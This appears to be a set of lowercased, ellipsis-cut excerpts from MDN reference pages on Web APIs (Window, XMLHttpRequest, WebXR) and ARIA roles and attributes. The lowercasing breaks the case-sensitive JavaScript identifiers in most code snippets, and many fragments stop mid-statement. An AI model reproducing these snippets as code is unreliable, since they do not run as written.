examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
... in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
... initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); also in the code...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenleft' in that specification.
Window.screenX - Web APIs
WebAPIWindowscreenX
examples in our screenleft-screentop (source code) example, you'll see a canvas onto which has been drawn a circle.
... in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
... initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height); ctx.fillstyle = 'rgb(0, 0, 255)'; ctx.beginpath(); ctx.arc(leftupdate + (width/2), topupdate + (height/2) + 35, 50, degtorad(0), degtorad(360), false); ctx.fill(); pelem.textcontent = 'window.screenleft: ' + window.screenleft + ', window.screentop: ' + window.screentop; window.requestanimationframe(positionelem); } window.requestanimationframe(positionelem); these work in ex...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenx' in that specification.
Window.sidebar - Web APIs
WebAPIWindowsidebar
end users can use the "load this bookmark in the sidebar" option instead.
... addsearchengine(engineurl, iconurl, suggestedtitle, suggestedcategory) obsolete since gecko 44 installs a search engine (sherlock).
... issearchproviderinstalled(descriptionurl) indicates if a specific search provider (opensearch) is installed.
... specification mozilla-specific.
Window: storage event - Web APIs
the storage event of the window interface fires when a storage area (localstorage) has been modified in the context of another document.
... bubbles no cancelable no interface storageevent event handler property onstorage examples log the samplelist item to the console when the storage event fires: window.addeventlistener('storage', () => { // when local storage changes, dump the list to // the console.
... console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console.
... console.log(json.parse(window.localstorage.getitem('samplelist'))); }; specifications specification status html living standardthe definition of 'storage' in that specification.
WindowClient - Web APIs
windowclient.focused read only a boolean that indicates whether the current client has focus.
... windowclient.visibilitystate read only indicates the visibility of the current client.
... this value can be one of "hidden", "visible", or "prerender".
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
you can learn more about how to use microtasks and why you might choose to do so in our microtask guide.
... syntax scope.queuemicrotask(function); parameters function a function to be executed when the browser engine determines it is safe to call your code.
... examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines.
... if (typeof window.queuemicrotask !== "function") { window.queuemicrotask = function (callback) { promise.resolve() .then(callback) .catch(e => settimeout(() => { throw e; })); // report exceptions }; } specifications specification status comment html living standardthe definition of 'self.queuemicrotask()' in that specification.
WorkerGlobalScope.console - Web APIs
so for example you could call console.log('test'); inside a worker (which would basically be the equivalent of self.console.log('test');, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), to return a test message out to the browser console.
... if you are calling console.log() from a dedicatedworkerglobalscope or other worker scope that acts on a single loaded window, that tab's web console will receive the logs.
... however, if you are calling console.log() from a sharedworkerglobalscope, the global browser console will receive the logs.
... specifications not yet part of any specification.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
options optional an object with any of the following options: credentials: a requestcredentials value that indicates whether to send credentials (e.g.
... cookies and http authentification) when loading the module.
... can be one of "omit", "same-origin", or "include".
... examples audioworklet example const audioctx = new audiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (background-image: paint(id)) { h1 { background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the definition of 'addmodule()' in that specification.
XDomainRequest.onerror - Web APIs
an event handler which is called when an xdomainrequest encounters an error.
... note: there is no way to determine the cause of the error from the xdomainrequest interface.
... syntax xdr.onerror = funcref; parameters funcref a function to call when an error occurs.
... example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onerror = function(){ //handle error } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-...
...roke="#d4dde4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} property also inherits properties from: document xmldocument.async used with xmldocument.load() to indicate an asynchronous request.
... specifications specification status comment domthe definition of 'xmldocument' in that specification.
... dom4the definition of 'xmldocument' in that specification.
XMLHttpRequest.getAllResponseHeaders() - Web APIs
te: fri, 08 dec 2017 21:04:30 gmt\r\n content-encoding: gzip\r\n x-content-type-options: nosniff\r\n server: meinheld/0.6.1\r\n x-frame-options: deny\r\n content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: cookie, accept-encoding\r\n content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n each line is terminated by both carriage return and line feed characters (\r\n).
... note: in modern browsers, the header names are returned in all lower case, as per the latest spec.
.../ convert the header string into an array // of individual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of header names to values var headermap = {}; arr.foreach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '); headermap[header] = value; }); } } once this is done, you can, for example: var contenttype = headermap["content-type"]; this obtains the value of the content-type header into the variable contenttype.
... specifications specification status comment xmlhttprequestthe definition of 'getallresponseheaders()' in that specification.
XMLHttpRequest.response - Web APIs
you may attempt to request the data be provided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server.
... the value is null if the request is not yet complete or was unsuccessful, with the exception that when reading text data using a responsetype of "text" or the empty string (""), the response can contain the response so far while the request is still in the loading readystate (3).
...it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load().
... var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.send() - Web APIs
this can be: a document, in which case it is serialized before being sent.
... an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object.
...}; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes.
... } } xhr.send("foo=bar&lorem=ipsum"); // xhr.send(new int8array()); // xhr.send(document); specifications specification status comment xmlhttprequestthe definition of 'send()' in that specification.
XMLHttpRequestEventTarget.onload - Web APIs
the xmlhttprequesteventtarget.onload is the function called when an xmlhttprequest transaction completes successfully.
... syntax xmlhttprequest.onload = callback; values callback is the function to be executed when the request completes successfully.
...the context) is the same xmlhttprequest this callback is related to.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLSerializer - Web APIs
note: in the real world, you should usually instead call importnode() method to import the new node into the dom, then call one of the following methods to add the node to the dom tree: the document and element methods append() and prepend() the node.replacewith() method (to replace an existing node with the new one) the document.insertadjacentelement() and element.insertadjacentelement() methods.
... because insertadjacenthtml() accepts a string and not a node as its second parameter, xmlserializer is used to first convert the node into a string.
... var inp = document.createelement('input'); var xmls = new xmlserializer(); var inp_xmls = xmls.serializetostring(inp); // first convert dom node into a string // insert the newly created node into the document's body document.body.insertadjacenthtml('afterbegin', inp_xmls); the code creates a new <input> element by calling document.createelement(), then serializes it into xml using serializetostring().
... specifications specification status comment dom parsing and serializationthe definition of 'xmlserializer' in that specification.
XPathExpression - Web APIs
this interface is a compiled xpath expression that can be evaluated on a document or specific node to return information from its dom tree.
... this is useful when an expression will be reused in an application, because it is just compiled once and all namespace prefixes which occur within the expression are preresolved.
... objects of this type are created by calling xpathevaluator.createexpression().
... html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression' in that specification.
XRBoundedReferenceSpace - Web APIs
this is typically used when the xr system is capable of tracking the user's physical movement within a limited distance of their starting position.
... the specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the webxr site or application prevent the user from colliding with the walls or other obstacles in the real world.
... at a minimum, the boundaries indicate the area in which the xr device is capable of tracking the user's movement.
... specifications specification status comment webxr device apithe definition of 'xrboundedreferencespace' in that specification.
XRFrame.getViewerPose() - Web APIs
see the getpose() method for a way to calculate a pose that represents the difference between two spaces.
... exceptions invalidstateerror a domexception indicating that getviewerpose() was not called within the context of a callback to a session's xrsession.requestanimationframe().
... examples in this callback function for requestanimationframe(), the xrviewerpose describing the viewer's viewpoint on the world is obtained by calling getviewerpose() on the xrframe passed into the callback.
... specifications specification status comment webxr device apithe definition of 'xrframe.getviewerpose()' in that specification.
XRInputSourceArray.values() - Web APIs
the xrinputsourcearray method values() returns a javascript iterator that can walk over the list of xrinputsource objects contained in the array, from first to last.
... return value a javascript iterator that can be used to walk through the list of xrinputsource objects in the array, starting with the first entry (at index 0) and proceeding straight through the list.
... examples this example snippet walks through each input and calls the function checkinput() with each returned value.
... specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceArray - Web APIs
entries() returns an iterator you can use to walk the list of key/value pairs in the list.
... values() returns an iterator you can use to go through all the values in the list.
... in addition to these methods, you may use array notation to access items in the list by index for example, the snippet of code below calls a function handleinput(), passing into it the first item in the input source list, if the list isn't empty.
... let sources = xrsession.inputsources; if (sources.length > 0) { handleinput(sources[0]); } examples specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.
XRInputSourceEvent() - Web APIs
syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating which of the input source events the new object will represent.
... selectstart sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like.
... squeezestart sent to an xrsession when an input source begins its primary squeeze action, indicating that the user has begun to grab, squeeze, or grip the controller.
... xrsession.addeventlistener("select", event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { let hit = myhittest(targetraypose.transform); if (hit) { /* handle the hit */ } } }); specifications specification status comment webxr device apithe definition of 'xrinputsourceevent' in that specification.
XRInputSourcesChangeEvent() - Web APIs
you won't typically call this constructor yourself, as these events are created and sent to you by the webxr system.
... syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred.
... example the following snippet of code creates a new xrinputsourceschangeevent object indicating that a single new input source, described by an xrinputsource object named newinputsource, has been added to the system.
... let iscevent = new xrinputsourceschangeevent("inputsourceschange", { session: xrsession, added: [newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent()' in that specification.
XRPermissionStatus - Web APIs
the xrpermissionstatus interface defines the object returned by calling navigator.permissions.query() for the xr permission name; it indicates whether or not the app or site has permission to use webxr, an may be monitored over time for changes to that permissions tate.
... granted an array of strings listing the names of the features for which permission has been granted as of the time at which navigator.permissions.query() was called.
... any feature which was specified in either the optionalfeatures or requiredfeatures when calling navigator.permissions.query() are listed in granted if and only if permission to use them is granted.
... usage notes examples specifications specification status comment webxr device apithe definition of 'xrpermissionstatus' in that specification.
XRPose.transform - Web APIs
WebAPIXRPosetransform
the transform read-only attribute of the xrpose interface is a xrrigidtransform object providing the position and orientation of the pose relative to the base xrspace as specified when the pose was obtained by calling xrframe.getpose().
...it determines the targeted object by passing the event frame's pose into a function called findtargetusingray(), then dispatches the event differently depending on the user's handedness; this is done by comparing the value of the xrinputsource property handedness to a value in the variable user.handedness.
... if the source is a controller in the user's primary hand, a function is called on the targeted object called primaryaction(); otherwise, it calls the targeted object's offhandaction() function.
...rce = event.inputsource; let frame = event.frame; let targetraypose = frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr device apithe definition of 'xrpose.transform' in that specification.
XRPose - Web APIs
WebAPIXRPose
the xrspace—which is either an xrreferencespace or an xrboundedreferencespace—defines the coordinate system used for the pose and, in the case of an xrviewerpose, its underlying views.
... to obtain the xrpose for the xrspace used as the local coordinate system of an object, call xrframe.getpose(), specifying that local xrspace and the space to which you wish to convert: thepose = xrframe.getpose(localspace, basespace); the pose for a viewer (or camera) is represented by the xrviewerpose subclass of xrpose.
...if any component of the transform is computed or created artificially (such as by using mouse or keyboard controls to move through space), this value is instead true, indicating that the transform is in part emulated in software.
... example <<<--- todo: needs example --->>> specifications specification status comment webxr device apithe definition of 'xrpose' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
the xrreferencespaceeventinit property referencespace is used to establish the value of a newly-constructed xrreferencespaceevent object when calling the xrreferencespaceevent() constructor.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrreferencespace indicating the source of the event.
... examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRReferenceSpaceEventInit.transform - Web APIs
the xrreferencespaceeventinit property transform indicates the position and orientation of the affected reference space's native origin after the changes the event represents are applied.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
... examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
XRRenderState - Web APIs
these properties include the range of distances from the viewer within which content should be rendered, the vertical field of view (for inline presentations), and a reference to the xrwebgllayer being used as the target for rendering the scene prior to it being presented on the xr device's display or displays.
...this, essentially, specifies the maximum distance the user can see.
... inlineverticalfieldofview read only the default vertical field of view, defined in radians, to use when the session is in inline mode.
... specifications specification status comment webxr device apithe definition of 'xrrenderstate' in that specification.
XRRigidTransform - Web APIs
the advantage to using xrrigidtransform in these places rather than bare arrays that providing the matrix data is that the xrrigidtransform automatically does things like computing the inverse of the transform.
... even better, once it's been computed, it's cached so that subsequent requests are significantly faster.
...it then requests the first animation frame callback by calling the session's requestanimationframe() method.
... xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification.
XRSession.renderState - Web APIs
the read-only renderstate property of an xrsession object indicates the returns a xrrenderstate object describing how the user's environment which should be rendered.
... the information provided covers the minimum and maximum distance at which to render objects, the vertical field of view to use when rendering the in the inline session mode, and the xrwebgllayer to render into for inline composition.
... while this property is read only, you can call the xrsession method updaterenderstate() to make changes.
... specifications specification status comment webxr device apithe definition of 'xrsession.renderstate' in that specification.
XRSession: select event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onselect for details on how the selectstart, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources.
...the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandleselectwithray().
... xrsession.addeventlistener("select", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }); you can of course also set up a handler for select events by setting the xrsession object's onselect event handler property to a function that handles the event: xrsession.onselect = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandleselectwithray(targetraypose.transform); } } }; spe...
...cifications specification status comment webxr device apithe definition of 'select event' in that specification.
XRSession: squeeze event - Web APIs
bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueeze for details on how the squeezestart, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources.
...the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandlesqueezewithray().
... xrsession.addeventlistener("squeeze", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }); you can of course also set up a handler for squeeze events by setting the xrsession object's onsqueeze event handler property to a function that handles the event: xrsession.onsqueeze = event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { ...
... myhandlesqueezewithray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'squeeze event' in that specification.
XRSession: visibilitychange event - Web APIs
upon receiving the event, you can check the value of the session's visibilitystate property to determine the new visibility state.
... bubbles yes cancelable no interface xrsessionevent event handler property onvisibilitychange when the xrsession receives this event, the visibility state has already been changed.
... examples this example demonstrates how to listen for a visibilitychange event on a webxr session, using addeventlistener() to begin listening for the event: navigator.xr.requestsession("inline").then((xrsession) => { xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visiblitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); }); when a visibility state change occurs, the event is received and dispatched to a function mysessionvisible(), with a boolean parameter indicating whether or not the session is presently being displayed to the user.
... you can also create the event handler by assigning it to the xrsession's onvisibilitychange event handler property, like this: xrsession.onvisibilitychange = (e) => { /* event handled here */ }; specifications specification status comment webxr device apithe definition of 'visibilitychange event' in that specification.
XRSessionEvent() - Web APIs
syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
... end fired at the session when it has ended, after being terminated by the application or the user agent.
...it reacts by calling a function mysessionvisible() with a boolean indicating whether or not the session is visible; this function might, for instance, spin up or reconfigure a worker that handles rendering the scene.
... xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent() constructor' in that specification.
XRSessionEvent.session - Web APIs
the read-only xrsessionevent interface's session property indicates which xrsession the event is about.
... syntax xrsession = xrsessionevent.session; value an xrsession object indicating which webxr session the event refers to.
... xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visibilitystate) { case "hidden": myenablerendering(true); break; case "visible": case "visible-blurred": myenablerendering(false); break; } }); this calls a function that reacts to the session's visibility state change.
... specifications specification status comment webxr device apithe definition of 'xrsessionevent.session' in that specification.
XRSessionEvent - Web APIs
the webxr device api's xrsessionevent interface describes an event which indicates the change of the state of an xrsession.
... end fired at the session when it has ended, after being terminated by the application or the user agent.
...it reacts by calling a function mysessionvisible() with a boolean indicating whether or not the session is visible; this function might, for instance, spin up or reconfigure a worker that handles rendering the scene.
... xrsession.addeventlistener("visibilitystate", e => { switch(e.session.visibilitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); specifications specification status comment webxr device apithe definition of 'xrsessionevent' in that specification.
XRSessionInit - Web APIs
the webxr device api dictionary xrsessioninit specifies required and/or optional features when requesting a new xrsession by calling the navigator.xr.requestsession() method.
... default features immersive sessions all immersive (both immersive-vr and immersive-ar) sessions support both the viewer and local reference spaces.
... because immersive sessions are required to support the local reference space, any request to open an immersive xrsession is required to obtain explicit or implicit user consent.
...by session type, those are: reference space type user consent rquirement feature policy requirement bounded-floor always required xr-spatial-tracking local always required for inline sessions xr-spatial-tracking local-floor always required xr-spatial-tracking unbounded always required xr-spatial-tracking viewer always required — ...
XRSpace - Web APIs
WebAPIXRSpace
the xrspace interface of the webxr device api is an abstract interface providing a common basis for every class which represents a virtual coordinate system within the virtual world, in which its origin corresponds to a physical location.
...the origin of an xrboundedreferencespace is always at floor level, with its x and z coordinates typically defaulting to a location near the room's center.
... xrreferencespace represents a reference space which is typically expected to remain static for the duration of the xrsession.
... specifications specification status comment webxr device apithe definition of 'xrspace' in that specification.
XRSystem: isSessionSupported() - Web APIs
if it is, we set up a button to read "enter xr", to call a method onbuttonclicked(), and enable the button.
... if no session is already underway, we request the vr session and, if successful, set up the session in a method called onsessionstarted(), not shown.
... if a session is already underway when the button is clicked, we call the xrsession object's end() method to shut down the webxr session.
... xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification.
XRViewport - Web APIs
x read only the offset from the origin of the destination graphics surface (typically a xrwebgllayer) to the left edge of the viewport, in pixels.
...the precise orientation of the coordinate system may vary with other surface types, but in webgl, the origin (0, 0) is located at the bottom-left corner of the surface.
... these values may be passed directly into the webglrenderingcontext.viewport() method: let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); example this example sets up an animation frame callback using requestanimationframe().
... xrsession.requestanimationframe((time, xrframe) => { let viewerpose = xrframe.getviewerpose(xrreferencespace); gl.bindframebuffer(xrwebgllayer.framebuffer); for (xrview of viewerpose.views) { let xrviewport = xrwebgllayer.getviewport(xrview); gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height); // now we can use webgl to draw into a viewport matching // the viewer's needs } }); specifications specification status comment webxr device apithe definition of 'xrviewport' in that specification.
Using the aria-orientation attribute - Accessibility
the aria-orientation attribute is used to indicate whether an element is oriented horizontally or vertically.
... value vocabulary vertical the element is oriented vertically.
... examples example 1: the snippet below shows a simple slider that is oriented vertically.
... <a href="#" id="handle_zoomslider" role="slider" aria-orientation="vertical" aria-valuemin="0" aria-valuemax="17" aria-valuenow="14" > <span>11</span> </a> working examples: slider example notes used with aria roles scrollbar listbox combobox menu tree separator slider tablist toolbar related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-orientation attribute ...
Using the aria-required attribute - Accessibility
description the aria-required attribute is used to indicate that user input is required on an element before a form can be submitted.
... this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
... note that this attribute will not automatically change the presentation of the field.
...type="text" /> </form> working examples: tooltip example (includes the use of the aria-required attribute) notes used in aria roles combobox gridcell listbox radiogroup spinbutton textbox tree related aria techniques using the aria-invalid attribute compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for aria-required wai-aria authoring practices for forms constraint validation in html5 ...
Using the aria-valuenow attribute - Accessibility
when the rendered value cannot be accurately represented as a number, authors should use the aria-valuetext attribute in conjunction with aria-valuenow to provide a user-friendly representation of the range's current value.
...in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but the aria-valuetext would be one of the strings: small, medium, or large.
... value string representation of a number possible effects on user agents and assistive technology for elements with role progressbar and scrollbar, assistive technologies should render the actual value as a percentage, calculated as a position on the range from aria-valuemin to aria-valuemax if both are defined, otherwise the actual value with a percent indicator.
..." aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuemin aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuenow attribute ...
Using the aria-valuetext attribute - Accessibility
authors should only set the aria-valuetext attribute when the rendered value cannot be accurately represented as a number.
...in this case, the values of aria-valuenow could range from 1 through 3, which indicate the position of each value in the value space, but thearia-valuetext would be one of the strings: small, medium, or large.
...the application would programmatically update aria-valuetext depending on aria-valuenow.
... <div role="slider" aria-valuenow="1" aria-valuemin="1" aria-valuemax="7" aria-valuetext="sunday"> working examples: notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuenow compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuetext attribute ...
Using the article role - Accessibility
it is independent in that its contents could stand alone, for example in syndication.
... articles can be nested; for example, a web log entry on a site that accepts user-submitted comments could represent the comments as articles nested within the article for the web log entry.
... possible effects on user agents and assistive technology when the user navigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events should switch to document browsing mode, as opposed to passing keyboard events through to the web application.
...div class="comment" role="article"> <p>meaningful comment</p> </div> <div class="comment" role="article"> <p>positive comment</p> </div> </section> </article> notes aria attributes used related aria techniques aria techniques - list of roles compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the article role ...
Using the link role - Accessibility
the link role is used to identify an element that creates a hyperlink to a resource that is in the application or external.
... when this role is added to an element, tab can be used to change focus to the link, and enter used to execute the link.
...this includes javascript to grab the location and handle navigating to the new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology.
...but this shows that it can be done.
ARIA: Comment role - Accessibility
the comment landmark role semantically denotes a comment/reaction to some content on the page, or to a previous comment.
... multiple comments since aria-details can now accept multiple ids, we can associate multiple comments with the same annotation, like so: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1 thread-2">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this mo...
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
... specifications will be part of wai-aria 1.3, which is still being drafted.
ARIA: Listitem role - Accessibility
the aria listitem role can be used to identify an item inside a list of items.
... <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... examples aria lists — some useful examples and thoughts by scott o'hara best practices only use role="list" and role="listitem" if you have to — for example if you don't have control over your html but are able to improve accessibility dynamically after the fact with javascript.
... specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'listitem' in that specification.
ARIA: tab role - Accessibility
the aria tab role indicates an interactive element inside a tablist that, when activated, displays its associated tabpanel.
...when an element with the tabpanel role has focus, or a child of it has focus, that indicates that the connected element with the tab role is the active tab in a tablist.
... specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'tab' in that specification.
... recommendation wai-aria authoring practicesthe definition of 'tabs' in that specification.
Accessibility FAQ - Accessibility
where can i find more about mozilla's accessibility initiatives?
... assistive technology compatibility - documents assistive technologies for windows, linux, unix, mac os x and the degree of compatibility with firefox what can i do to make sure my mozilla extensions are accessible?
